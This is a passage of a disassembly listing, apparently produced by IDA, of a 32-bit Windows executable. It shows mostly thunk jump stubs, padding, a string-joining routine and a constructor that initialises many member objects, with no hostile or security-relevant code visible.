sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: sub_404600+48p
; sub_404600+5Dp ...
jmp sub_409DF0
sub_401FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE1 proc near ; DATA XREF: ___:off_43F080o
jmp sub_419A50
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p
; sub_41B110+9j ...
jmp sub_41A210
sub_401FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FEB proc near ; CODE XREF: sub_40BD80+34p
; sub_40C1F0+67p
jmp sub_40C110
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_433980
; ---------------------------------------------------------------------------
loc_401FF5: ; DATA XREF: ___:off_43F084o
jmp loc_436570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near
jmp sub_40F170
sub_401FFA endp
; ---------------------------------------------------------------------------
jmp loc_4375F0
; ---------------------------------------------------------------------------
loc_402004: ; DATA XREF: ___:0043F03Co
jmp loc_41EDB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402009 proc near ; CODE XREF: sub_41F860+5Ap
jmp sub_41FF40
sub_402009 endp
; ---------------------------------------------------------------------------
jmp loc_431670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402013 proc near ; CODE XREF: ___:00416B1Bp
; ___:0043B288j ...
jmp sub_417AC0
sub_402013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402018 proc near ; CODE XREF: ___:00416D3Fp
jmp sub_4131E0
sub_402018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_421B80+5p
jmp sub_422080
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: ___:00421654p
jmp sub_41C0A0
sub_402022 endp
; ---------------------------------------------------------------------------
off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40202C proc near ; CODE XREF: sub_404600+2CEp
; sub_404C30+46Fp ...
jmp sub_40A740
sub_40202C endp
; ---------------------------------------------------------------------------
jmp loc_434410
; ---------------------------------------------------------------------------
jmp sub_41B4A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40203B proc near ; CODE XREF: sub_422470+Ap
jmp sub_422750
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_404C30+7E7p
jmp sub_41BA50
sub_402040 endp
; ---------------------------------------------------------------------------
loc_402045: ; DATA XREF: ___:off_43F014o
jmp loc_40AEB0
; ---------------------------------------------------------------------------
loc_40204A: ; DATA XREF: ___:off_43F078o
jmp loc_42D150
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: ___:0040AEB3p
; ___:0041299Ep ...
jmp sub_40AEE0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_424920+109p
; sub_424920+178p ...
jmp sub_424800
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_4099B0+7p
jmp sub_409AA0
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40205E proc near ; CODE XREF: sub_416750+Ap
jmp sub_416960
sub_40205E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402063 proc near
jmp sub_40CBE0
sub_402063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402068 proc near ; CODE XREF: ___:004301DBp
; sub_4310C0+EAp
jmp sub_434320
sub_402068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_421A60+5p
; sub_421B50+6p ...
jmp sub_421FF0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_40FE30+8ADp
; sub_40FE30+95Ep ...
jmp sub_412B50
sub_402072 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402077 proc near ; CODE XREF: sub_40C110+7p
jmp sub_40C300
sub_402077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40207C proc near ; CODE XREF: sub_418900+34p
; sub_418F80+67p
jmp sub_418D90
sub_40207C endp
; ---------------------------------------------------------------------------
jmp loc_409BE0
; ---------------------------------------------------------------------------
loc_402086: ; DATA XREF: ___:off_43F13Co
jmp loc_429420
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_416FE0+2Bp
; sub_416FE0+3Bp ...
jmp sub_403EA0
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_4098A0+14p
jmp sub_409900
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_4332C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp
jmp sub_428CE0
sub_40209A endp
; ---------------------------------------------------------------------------
jmp sub_4277B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_4182F0+4Dp
jmp sub_418A30
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; CODE XREF: sub_415220+5p
; sub_4153E0+6p ...
jmp sub_415DD0
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_4277B0+3p
jmp sub_4277E0
sub_4020AE endp
; ---------------------------------------------------------------------------
jmp loc_41B1C0
; ---------------------------------------------------------------------------
jmp loc_421620
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: ___:00416D0Fp
jmp sub_407080
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_413730+83p
; sub_414590+91p ...
jmp sub_4153E0
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; DATA XREF: ___:0043F060o
jmp sub_41EF30
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_40AAC0+144p
jmp sub_40ADD0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; CODE XREF: sub_431240+BAp
; sub_433C70+36p
jmp sub_433CE0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p
; sub_422340+11p
jmp sub_4224E0
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: sub_4221E0+4p
jmp sub_4225F0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp
jmp sub_42B730
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E5 proc near ; CODE XREF: ___:0041A312p
jmp sub_41A3B0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_416850+Ap
jmp sub_4169B0
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; DATA XREF: ___:off_43F18Co
jmp sub_42C5C0
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F4 proc near ; CODE XREF: sub_415D60+4p
jmp sub_416580
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F9 proc near ; CODE XREF: ___:004307A6p
; ___:00430808p ...
jmp sub_434AD0
sub_4020F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020FE proc near ; CODE XREF: sub_418E10+8p
jmp sub_4190B0
sub_4020FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: sub_418850+34p
; sub_418E70+67p
jmp sub_418C90
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: sub_41A7D0+117p
jmp sub_41B6F0
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_415B90+35p
jmp sub_416660
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_404C30+459p
; sub_4066A0+43p ...
jmp sub_409C90
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40BDF0+5p
; sub_40BF30+6p ...
jmp sub_40C130
sub_402117 endp
; ---------------------------------------------------------------------------
jmp loc_4308A0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402121 proc near ; CODE XREF: ___:00416E3Ap
jmp sub_4191A0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: ___:0042AF83p
jmp sub_42AFB0
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; CODE XREF: sub_40FE30+F3Dp
; sub_40FE30+1392p ...
jmp sub_414890
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_413A70+38p
; sub_413E60+5Fp
jmp sub_4135D0
sub_402130 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402135 proc near ; CODE XREF: sub_40A200+14p
; sub_40A230+7p ...
jmp sub_40A250
sub_402135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_42B440+157p
jmp sub_42AFF0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40ACB0+1Ap
; sub_40AD00+1Ap
jmp sub_40AD70
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_4156E0+3p
; ___:00415F0Fp ...
jmp sub_416140
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; DATA XREF: ___:0043F02Co
jmp sub_40FE30
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40214E proc near ; CODE XREF: sub_414890+EDp
jmp sub_415910
sub_40214E endp
; ---------------------------------------------------------------------------
jmp loc_41B460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_40BEF0+3p
jmp sub_40C170
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40215D proc near ; CODE XREF: sub_40BF90+11p
; ___:0040BFB7p ...
jmp sub_40C2B0
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: sub_41E660+2C5p
jmp sub_4207E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402167 proc near ; CODE XREF: sub_41D830+64Fp
jmp sub_41C170
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40216C proc near ; CODE XREF: sub_418CB0+32p
jmp sub_418F80
sub_40216C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402171 proc near ; CODE XREF: sub_40ECF0+ACp
; ___:0040F41Dp
jmp sub_40EE30
sub_402171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_4138A0+93p
jmp sub_434D10
sub_402176 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40217B proc near ; CODE XREF: sub_415290+1Fp
; sub_415B90+2Cp
jmp sub_415AF0
sub_40217B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402180 proc near ; CODE XREF: ___:0042670Dp
jmp sub_4266D0
sub_402180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402185 proc near ; CODE XREF: sub_420530+17Dp
jmp sub_421AD0
sub_402185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218A proc near ; CODE XREF: ___:0042D551p
jmp sub_42B380
sub_40218A endp
; ---------------------------------------------------------------------------
loc_40218F: ; DATA XREF: ___:off_43F010o
jmp loc_409BE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: sub_40AAC0+6Ap
; sub_40AAC0+103p
jmp sub_40AD00
sub_402194 endp
; ---------------------------------------------------------------------------
jmp loc_426280
; ---------------------------------------------------------------------------
jmp loc_427C60
; ---------------------------------------------------------------------------
jmp loc_41ACD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021A8 proc near ; CODE XREF: sub_407270+14p
; sub_4072B0+9p ...
jmp sub_407510
sub_4021A8 endp
; ---------------------------------------------------------------------------
jmp loc_418BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; CODE XREF: sub_40B0D0+1Bp
jmp sub_433DC0
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B7 proc near ; CODE XREF: ___:00415B4Ap
jmp sub_4165D0
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp
; sub_431980+1Bp ...
jmp sub_4319F0
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_42FD80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021C6 proc near ; CODE XREF: ___:0040876Dp
; ___:0040878Fp ...
jmp sub_4199C0
sub_4021C6 endp
; ---------------------------------------------------------------------------
jmp loc_42DA00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D0 proc near ; CODE XREF: sub_40B5F0+55p
jmp sub_40A0A0
sub_4021D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co
jmp sub_42AEE0
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: sub_421BF0+34p
; sub_422510+67p
jmp sub_422230
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021DF proc near ; CODE XREF: sub_407140+2Cp
; sub_407140+68p ...
jmp sub_4072B0
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_4346E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p
; sub_41C710+332p ...
jmp sub_41D770
sub_4021E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021EE proc near ; CODE XREF: sub_40BD40+11p
; sub_40BF90+1Fp
jmp sub_40C0C0
sub_4021EE endp
; ---------------------------------------------------------------------------
jmp loc_4308E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap
; sub_4247B0+1Bp ...
jmp sub_424500
sub_4021F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021FD proc near ; CODE XREF: ___:00416AABp
jmp sub_418900
sub_4021FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402202 proc near
jmp sub_42CE60
sub_402202 endp
; ---------------------------------------------------------------------------
jmp loc_42FF70
; ---------------------------------------------------------------------------
jmp loc_430100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_434450+1Bp
jmp sub_4344C0
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: sub_42F6F0+101p
jmp sub_42F040
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; DATA XREF: ___:off_43F00Co
jmp sub_407210
sub_40221B endp
; ---------------------------------------------------------------------------
jmp loc_42F5C0
; ---------------------------------------------------------------------------
jmp locret_418800
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; CODE XREF: sub_403700+25p
; sub_403700+35p ...
jmp sub_403C50
sub_40222A endp
; ---------------------------------------------------------------------------
jmp loc_4343F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_4182F0+88p
; sub_4182F0+98p
jmp sub_418A50
sub_402234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402239 proc near ; CODE XREF: ___:00416BABp
; ___:0043B20Aj ...
jmp sub_417730
sub_402239 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40223E proc near ; CODE XREF: sub_418AA0+5p
jmp sub_418E40
sub_40223E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_414700+3p
jmp sub_414730
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: ___:004305EBp
; ___:00430F17p ...
jmp sub_431DC0
sub_402248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40224D proc near ; DATA XREF: ___:off_43F11Co
jmp sub_4288F0
sub_40224D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_430B30+102p
; sub_432A20+5Dp ...
jmp sub_431B00
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_4135D0+5Cp
; sub_4135D0+C0p ...
jmp sub_415530
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_432700
; ---------------------------------------------------------------------------
jmp loc_430460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402266 proc near ; CODE XREF: sub_41D830+203p
jmp sub_42E3C0
sub_402266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40226B proc near ; CODE XREF: sub_42F6F0+148p
; sub_42F6F0+173p
jmp sub_42EF60
sub_40226B endp
; ---------------------------------------------------------------------------
jmp loc_42F490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402275 proc near ; CODE XREF: sub_413490+34p
; sub_414890+40p
jmp sub_4159E0
sub_402275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40227A proc near ; CODE XREF: sub_40CC80+1A4p
; sub_40D030+ADp
jmp sub_40D030
sub_40227A endp
; ---------------------------------------------------------------------------
jmp loc_42F510
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402284 proc near ; CODE XREF: sub_422B40+938p
jmp loc_424080
sub_402284 endp
; ---------------------------------------------------------------------------
jmp loc_419B90
; ---------------------------------------------------------------------------
loc_40228E: ; CODE XREF: ___:00439FE6j
jmp loc_40CFB0
; ---------------------------------------------------------------------------
db 129Dh dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403530 proc near ; CODE XREF: sub_4019C4j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_403530
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403589
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40357A: ; CODE XREF: sub_403530+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40357A
loc_403589: ; CODE XREF: sub_403530+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_40142E
push offset asc_4445EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401870
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A9B
push offset byte_448F30
lea ecx, [esp+47Ch+var_450]
call sub_401870
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_4035E1: ; CODE XREF: sub_403530+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_403637
lea ecx, [esp+478h+var_438]
call sub_40168B
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017EE
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401AAF
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_4035E1
loc_403637: ; CODE XREF: sub_403530+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_403530 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403700 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403700
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_40222A
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_40222A
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_40222A
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_40222A
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_40222A
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_40222A
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_40222A
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_40222A
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_40222A
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_40222A
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_40222A
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_40222A
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_40222A
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_40222A
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_40222A
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_40222A
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_40222A
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_40222A
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_40222A
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_40222A
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_40222A
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_40222A
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_40222A
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_40222A
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_40222A
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_40222A
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_40222A
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_40222A
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_40222A
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_40222A
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_40222A
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_40222A
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_40222A
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401753
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401753
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401753
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401753
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401753
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401753
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401753
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401753
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401753
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401753
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401753
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401753
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401753
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401753
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401753
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401753
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401753
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C30 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43F004
retn
sub_403C30 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C50 proc near ; CODE XREF: sub_40222Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CD0 proc near ; CODE XREF: sub_401AE6j
